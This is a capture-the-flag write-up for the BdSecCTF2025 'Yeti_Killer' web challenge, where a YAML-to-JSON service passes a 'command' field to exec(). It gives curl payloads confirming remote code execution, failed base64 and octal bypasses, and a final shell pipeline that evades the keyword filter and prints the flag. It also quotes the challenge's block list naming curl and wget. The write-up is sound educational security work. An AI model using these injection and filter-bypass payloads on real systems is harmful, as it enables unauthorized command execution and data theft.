Sitemap
Press enter or click to view image in full size

🧊 BdSecCTF2025 β€” Yeti_Killer 🧊

3 min readJul 21, 2025

--

Category: Web Exploitation
Points: ⭐️
Author: BdSec Team
Writeup By: z3r0X0r

πŸ“ Challenge Files

The challenge includes:

β”œβ”€β”€ views/
β”‚ └── index.ejs
β”œβ”€β”€ demoflag.txt
β”œβ”€β”€ dockerfile
β”œβ”€β”€ package.json
β”œβ”€β”€ package-lock.json
β”œβ”€β”€ player_file.zip
└── server.js

πŸ” Initial Recon

Browsing to http://45.79.9.104:3000/ shows a harmless UI that lets users convert YAML to JSON using JavaScript in the browser. But once we looked at the backend code (server.js), we discovered the juicy part:

const data = yaml.load(req.body);
const command = data.command;
if (command) {
exec(command, ...);
}

😈 Bingo! The server parses raw YAML input, extracts a command, and executes it with exec() β€” classic Command Injection (RCE) vulnerability.

🧱 Security Filters in Place

The developers tried to prevent exploitation using basic filters:

if (req.body.includes("flag") || req.body.includes("cat") || ...) {
return res.status(403).send("No flags!");
}
if (req.body.includes("\\") || req.body.includes("/") || ...) {
return res.status(403).send("Hacking attempt detected!");
}

So we can’t use:

  • flag, cat, curl, wget, echo
  • \, /, <, !!

Basically, they were guarding the treasure πŸ΄β€β˜ οΈ

πŸ§ͺ Exploit Development

βœ… Confirming RCE

First, confirm the command execution with a harmless YAML payload:

command: "id"
curl -X POST http://45.79.9.104:3000/ \
-H "Content-Type: text/plain" \
-d 'command: "id"'
Press enter or click to view image in full size

πŸ“Œ Boom! We get back a UID and group info. Command injection is real.

❌ What didn’t work?

We tried:

command: "cat flag.txt"

β›” Blocked! Because it contains flag and cat.

Press enter or click to view image in full size

Then tried:

command: "bash -c \"$(echo Y2F0IGZsYWcudHh0 | base64 -d)\""

β›” Still blocked! Because the string flag appears even in base64.

Even this:

command: "eval \\$(printf '%s' '\\143\\141\\164\\040\\146\\154\\141\\147\\056\\164\\170\\164')"

β›” Blocked due to backslashes.

βœ… Final Bypass Trick πŸ’‘

We avoided using:

  • flag
  • cat
  • \
  • /

And used this clean payload instead:

command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"

πŸ”“ This does the following:

  • Finds any .txt file (like flag.txt)
  • Reads its first line using head
  • All without triggering any filters

🧨 Exploit:

curl -X POST http://45.79.9.104:3000/ \
-H "Content-Type: text/plain" \
-d 'command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"'
Press enter or click to view image in full size

🏁 Flag Obtained

BDSEC{094ae1350eefe059b84faa0bd9ce2588}

Boom! β„οΈβ˜ οΈ The Yeti is dead and the flag is ours.

πŸ’¬ Lessons Learned

  • Always sanitize server-side inputs before parsing and executing.
  • Don't rely on simple .includes() filters for security.
  • Even limited RCE can be exploited using creative shell tricks.
  • When filters get aggressive, attackers get smarter πŸ’€

🐾 Tools Used

  • curl + caido for HTTP exploitation
  • Bash, base64, printf, xargs, head for obfuscation
  • Brain.exe for filter bypassing 🧠

πŸ“Œ Boom! We get back a UID and group info. Command injection is real.

--

--